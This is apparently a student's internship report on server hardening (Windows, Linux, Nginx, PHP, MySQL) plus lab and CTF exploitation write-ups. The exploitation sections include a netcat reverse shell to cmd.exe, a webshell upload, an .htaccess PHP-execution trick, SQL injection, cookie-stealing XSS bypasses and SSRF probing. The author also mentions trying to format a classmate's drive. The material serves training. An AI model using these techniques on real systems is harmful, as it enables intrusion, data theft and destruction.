nginx(一种中间件)加固;

php 5.4 配置加固

mysql加固

(一)windows加固

1. 禁用 Guest 账户。

禁用或删除其他无用账户(建议先禁用账户三个月,待确认没有问题后删除。)

操作步骤

打开控制面板 > 管理工具 > 计算机管理,在系统工具 > 本地用户和组 > 用户中,双击 Guest 帐户,在属性中选中帐户已禁用,单击确定。

2. 登录登出后,不显示用户名称。打开控制面板 > 管理工具 > 本地安全策略,在本地策略 > 安全选项中,双击交互式登录:不显示最后的用户名,选择已启用并单击确定

 

3. 密码复杂度

密码复杂度要求必须满足以下策略:

最短密码长度要求八个字符。

启用本机组策略中密码必须符合复杂性要求的策略。

4 . 密码最长留存期

对于采用静态口令认证技术的设备,帐户口令的留存期不应长于 90 天。

 

除此之外还有:

1. 账户管理和认证授权:默认账户安全,按照用户分配帐户,定期检查并删除与无关帐户,不显示最后的用户名,检查影子账户,帐户锁定策略,远程关机,用户权限指派,授权帐户登录,授权帐户从网络访问。

2. 日志配置:审核登录,审核策略,审核对象访问,审核事件目录服务访问,审核特权使用,审核系统事件,审核帐户管理,审核过程追踪,日志文件大小,针对特定目录添加审核。

操作文件权限:关闭默认共享,共享文件夹授权访问。

3. 服务安全:禁用 TCP/IP 上的 NetBIOS,禁用不必要的服务。

4. 安全选项:启用安全选项,禁用未登录前关机。

5. 其他安全配置:防病毒管理,设置屏幕保护密码和开启时间,限制远程登录空闲断开时间,操作系统补丁管理,开启本地防火墙。

Windows 配置的途径有:组策略(gpedit.msc),命令(cmd powershell 中执行,或者编写 batps 文件执行),注册表(regedit),配置文件(位置和文件名各不相同)。

  1. Linux加固

1. 检查特殊账号

查看空口令和 root 权限账号,确认是否存在异常账号:

使用命令 awk -F: '($2=="")' /etc/shadow 查看空口令账号。

使用命令 awk -F: '($3==0)' /etc/passwd 查看 UID 为零的账号。

加固空口令账号:

使用命令 passwd <用户名> 为空口令账号设定密码。

确认 UID 为零的账号只有 root 账号。

2. 禁止 root 用户通过ssh直接登录(注意不是不能登录)

创建普通权限账号并配置密码, 防止无法远程登录;

使用命令 vi /etc/ssh/sshd_config修改配置文件将 PermitRootLogin 的值改成 no,并保存,然后使用service sshd restart重启服务

3. 限制用户su:限制能 su root 的用户。

使用命令 vi /etc/pam.d/su修改配置文件,在配置文件中添加行。例如,只允许 test 组用户 su root,则添加 auth required pam_wheel.so group=test

此外还有:

1. 账号和口令:禁用或删除无用账号,检查特殊账号,添加口令策略,限制用户 su,禁止 root 用户直接用 ssh 登录。

2. 服务:关闭不必要的服务,SSH 服务安全。

3. 文件系统:设置 umask 值,设置登录超时。

4. 日志:syslogd 日志,记录所有用户的登录和操作日志。

 

  1. Nginx加固

前置条件:

1根据站点开放端口,进程ID,确认站点采用Nginx进行部署;

2找到Nginx安装目录,针对具体站点对配置文件进行修改;

3在执行过程中若有任何疑问或建议,应及时反馈。

1. 日志配置:修改配置,按如下设置日志记录文件、记录内容、记录格式,添加标签为mainlog_format格式(http标签内,在所有的server标签内可以调用)

2. 禁止目录浏览:不能去访问网站目录下的所有文件

编辑配置文件,HTTP模块添加如下一行内容,然后重启服务

3. 限制目录执行权限

去掉单个目录的PHP执行权限

去掉多个目录的PHP执行权限

4. 隐藏版本信息

此外还有:错误页面重定向、

最佳经验实践:限制HTTP请求方法、限制IP访问、限制并发和速度、控制超时时间

风险操作项:Nginx降权、防盗链、补丁更新

 

  1. PHP加固

1. 屏蔽PHP错误输出。

不要将错误堆栈信息直接输出到网页上,防止黑客加以利用相关信息。\

把错误日志写到日志文件中,方便排查问题。

2. 屏蔽PHP版本。

默认情况下PHP版本会被显示在返回头里

3. 文件系统限制

可以通过open_basedir来限制PHP可以访问的系统目录。

 

4. 禁止远程资源访问,防止注入远程脚本

 

5. 开启magic_quotes_gpcphp<5.4),主要是对$_GET,$_POST,$_COOKIE数组里的函数自动转义

此外还有:

关闭全局变量、开启安全模式(php<5.3)、禁用危险函数、第三方安全扩展

 

(五)Mysql课后作业

我的mysql运行在ubuntu虚拟机中的docker中,首先运行mysqldocker环境,使用root用户登录mysql

使用CREATE语句创建db_web1表,注意在命令行中每执行完一句后记得加";",默认是堆积执行sql语句

使用CREATE USER语句创建user_web1用户,登录限制为仅'localhost'可登录,用户密码通过identified设置为user_web1

同样的语句,但登录限制为可从IP10.133.26.124处登录

使用SELECT语句查看mysql库中的user表,在user表中记录着当前数据库的用户信息(用户名和可登录地址,%表示没有登录地址的限制),可以看到关于user_web1这一用户有两个表项,分别对应设置的两个IP地址

使用GRANT语句,将db_web1库的所有权限(ALL PRIVILEGES)赋给user_web1

本地使用user_web1成功登录mysql(登录时,-u参数为用户名,-p参数为主机名)

user_web1用户下,发现无法使用SELECT语句查询mysql库中的数据,权限被成功限制,在db_web1库中成功新建了一个表,证明确实拥有权限

使用IP地址进行远程登录,也成功登录,证明创建的用户登录限制生效

  1. 信息搜集及利用

    1. 概念

nc:在两台电脑之间建立链接,并返回两个数据流。

反弹shell:与标准shell对应,本质上是网络概念的客户端与服务端的角色反转。攻击方作为服务器监听端口,正向shell是客户端想要获得服务端的shell,反向shell是服务端想要获得客户端的shell,正向shell是半交互式的,具有局限性,比如之前的练习中我试图用正向shell将同学的C盘格式化,却发现输入管理员密码后没有回显,即半交互式只能一条一条命令地执行,不能连续。

需要反弹shell的情况:

1.靶机中木马后在局域网内,无法直接访问(需NAT穿透)

2.靶机的ip动态改变

3.由于防火墙等限制,靶机只能发送请求,不能接收请求。

-l 开启监听

-p 指定一个端口

-v 显示详细输出(两个v是更详细)

-e 指定对应的应用程序

-n nc不要DNS反向查询IP的域名

-z 连接成功后立即关闭连接

 

  1. 练习

打开我的靶机,监听在9090端口

ipconfig查询到子网的网段:192.168.207.0/24

使用nmap扫描(nmap -sP <网段>),在同一局域网内发现三台主机,19是自己的设备,187是网关,对46进行扫描,nmap <IP Adress>

访问9090端口,并上传木马

使用蚁剑成功连接

nc的文件上传上去

在靶机端运行nc -vv <IP Adress> <Port> -e cmd.exe 即将对应IP主机发送的命令放入cmd.exe中执行(-e),并将输出结果发送到攻击机的9891端口

攻击机运行 .\nc.exe -lvvp <Port>,监听9891端口,成功连接

  1. CTF练习

(一)概念

CTF 是一种流行的信息安全竞赛形式,其英文名可直译为"夺得 Flag",也可意译为"夺旗赛"。其大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数,一般情况下 flag 拥有固定格式为 flag{xxxxx}

(二)题型分类

Webpwnreversecryptomisc

(三)练习

1. sql整数型注入

观察输入(2-1)返回ID1的数据,说明后端执行了计算,判断为整数型注入

使用ORDER BY函数发现没有第三列,所以判断出news表共有两列

 

使用UNION函数联合查询,通过database()函数得到数据库名为sqli

查询information_schema库得到有flagnews两个表,易知flagflag表中

 

查询information_schema库得到flag表只有flag一个列

flag表进行查询,最终拿到flag

2. sql报错注入

当使用updatexml(xml_target, xpath_expr, new_xml)函数时,若xpath_expr参数不符合xpath格式,就会报错。

~符号(ascii编码值:0x7e)是不存在xpath格式中的,所以一旦在xpath_expr参数中使用~符号,就会产生xpath syntax error (xpath语法错误),会将括号内的执行结果以错误的形式报出,这样就可以实现sql报错注入。

发现当出现格式错误时会报错(字符串没加单引号)考虑updatexml()函数报错注入

直接输入~不行,需要转成ACSII码(0x7e),执行database()函数获得库名 sqli

注:这里使用extractvalue(xml_frag, xpath_expr)函数也可(图2),若xpath_expr参数不符合xpath格式,也会报错。

updatexml()函数第二个参数中执行查询information_schema表语句,得到表名flag

同样方法查询flag表得到列名

 

flag执行SELECT语句,拿到flag,但发现没有回显完全,这是由于回显位数得限制,想到right(str, num)函数,作用是让字符串str从右开始截取num个字符

拼接得到完整flagctfhub{9f7e32eea0c2e704a921f279}

3. xss关键词过滤

"见框就插",输入<script>alert(1);</script>,发现被过滤

常见的关键词过滤有大小写、空格(将空格替换为/ctfhub上空格绕过的解法)、双写、单双引号(使用反引号`)、空格(用throw代替)和一些编码绕过等

尝试改变大小写,发现成功插入

 

选择xss平台提供的改变了大小写的js代码

这里是模拟其他用户点击这个包含了xss链接的情形,以获取他人的cookie,而不是自己的cookie

cookie中成功拿到了flag

注:也可以使用双写绕过(<scscriptript>

 

4. .htaccess文件上传

先上传.htaccess文件,内容为AddType application/x-httpd-php png,即将png类型的文件按照php文件进行解析

然后上传shell.png文件

 

通过蚁剑成功连接

在蚁剑中浏览目录,成功拿到flag

5. 端口扫描

SSRF (Server-Side Request Forgery),即服务器端请求伪造,是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统,正因为请求是由服务端(没有对收到的请求做过滤,相当于攻击者的代理)发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统。这道题相当于模拟服务器,访问自己内网的主机(127.0.0.1),找到开放的端口

常用的php伪协议

1file:从文件系统中获取文件内容,如,file:///etc/passwd

2dict:泄露安装软件版本信息,查看端口,操作内网redis服务等

3gophergopher支持发出GETPOST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

4http/sHTTP 1.0 GET方法

使用dict伪协议进行端口探测

将请求放入intruder中,并确定端口爆破的位置

设置爆破类型为数字,并根据提示确定端口范围(8000~9000

发现端口号为8148时,返回的内容长度明显不同,判断存在flag

使用http伪协议访问,成功拿到flag

三、实习总结

我在本次实习中学到了许多有用的知识和技能,包括搭建虚拟机环境、域名设置、NAT端口转发、基于PHP的动态网站搭建、PHP语法等。我还学习了使用Docker半虚拟化环境搭建网站、API安全原理及应用,特别是利用API越权、验证、JWT等技术。我了解了云安全的特点和面临的挑战,掌握了SQL注入、手工联合注入、XSS漏洞利用、文件上传漏洞及多种绕过方式等技术。我还学会了利用REQUEST库实现对低版本PHPStudy后门利用、主机发现、端口扫描、Webshell利用、拿到交互式shell等技术。我了解了防御方的反制,针对攻击工具与手段的反制,MySQL蜜罐读取文件、低版本AntSword反制等技术。我还学习了使用Seay进行代码审计以及安全加固,包括操作系统、中间件、PHP的加固。此外,我还进行了CTF实践。

我掌握了很多网络安全的基本技能,对网络安全的知识框架进行了梳理,之前一直是很零碎地,没有系统上手实操各种技能,这次实训对我大三网络安全技能学习做了铺垫,很有收获。